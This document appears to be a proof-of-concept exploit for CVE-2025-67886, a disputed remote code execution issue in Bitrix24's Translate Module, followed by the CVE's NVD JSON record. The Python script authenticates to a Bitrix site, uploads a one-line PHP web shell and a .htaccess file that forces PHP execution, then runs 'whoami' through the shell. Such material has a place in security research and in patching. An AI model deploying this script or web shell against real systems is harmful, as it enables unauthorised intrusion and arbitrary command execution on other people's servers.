CVE-2025-67886

import requests # Configuration target_url = "http://target-bitrix-site.com" login_url = f"{target_url}/login.php" upload_url = f"{target_url}/bitrix/tools/translate_upload.php" # Hypothetical endpoint session = requests.Session() # 1. Authenticate (Requires valid credentials with Translate Module permissions) payload = { 'USER_LOGIN': 'attacker', 'USER_PASSWORD': 'password', 'AUTH_FORM': 'Y', 'TYPE': 'AUTH' } session.post(login_url, data=payload) # 2. Prepare malicious files # PHP Webshell php_content = "<?php system($_GET['cmd']); ?>" files_php = { 'file_translate': ('shell.php', php_content, 'application/x-php') } # .htaccess to force PHP execution htaccess_content = "AddType application/x-httpd-php .php" files_htaccess = { 'file_translate': ('.htaccess', htaccess_content, 'text/plain') } # 3. Upload PHP shell print("[*] Uploading PHP shell...") r1 = session.post(upload_url, files=files_php) # 4. Upload .htaccess print("[*] Uploading .htaccess...") r2 = session.post(upload_url, files=files_htaccess) if r1.status_code == 200 and r2.status_code == 200: print("[+] Files uploaded successfully.") # 5. Trigger the exploit exploit_url = f"{target_url}/bitrix/modules/translate/lang/shell.php?cmd=whoami" print(f"[*] Triggering exploit: {exploit_url}") r3 = session.get(exploit_url) print("[+] Response:") print(r3.text) else: print("[-] Upload failed.")

{"cve": {"id": "CVE-2025-67886", "sourceIdentifier": "[email protected]", "published": "2026-05-08T07:16:28.180", "lastModified": "2026-05-08T18:16:32.947", "vulnStatus": "Awaiting Analysis", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "Bitrix24 through 25.100.300 allows Remote Code Execution because an actor with SOURCE/WRITE permissions for the Translate Module can upload and execute code by sending a PHP file and a .htaccess file. NOTE: this is disputed by the Supplier because this is intended behavior for the high-privileged users who can upload new translated pages to the website."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://dev.1c-bitrix.ru/api_help/translate/index.php", "source": "[email protected]"}, {"url": "https://dev.1c-bitrix.ru/learning/course/?COURSE_ID=43&LESSON_ID=3055", "source": "[email protected]"}, {"url": "https://karmainsecurity.com/pocs/CVE-2025-67886.php", "source": "[email protected]"}, {"url": "https://seclists.org/fulldisclosure/2025/Dec/21", "source": "[email protected]"}, {"url": "https://www.bitrix24.com/self-hosted/", "source": "[email protected]"}, {"url": "http://seclists.org/fulldisclosure/2025/Dec/21", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://seclists.org/fulldisclosure/2025/Dec/21", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}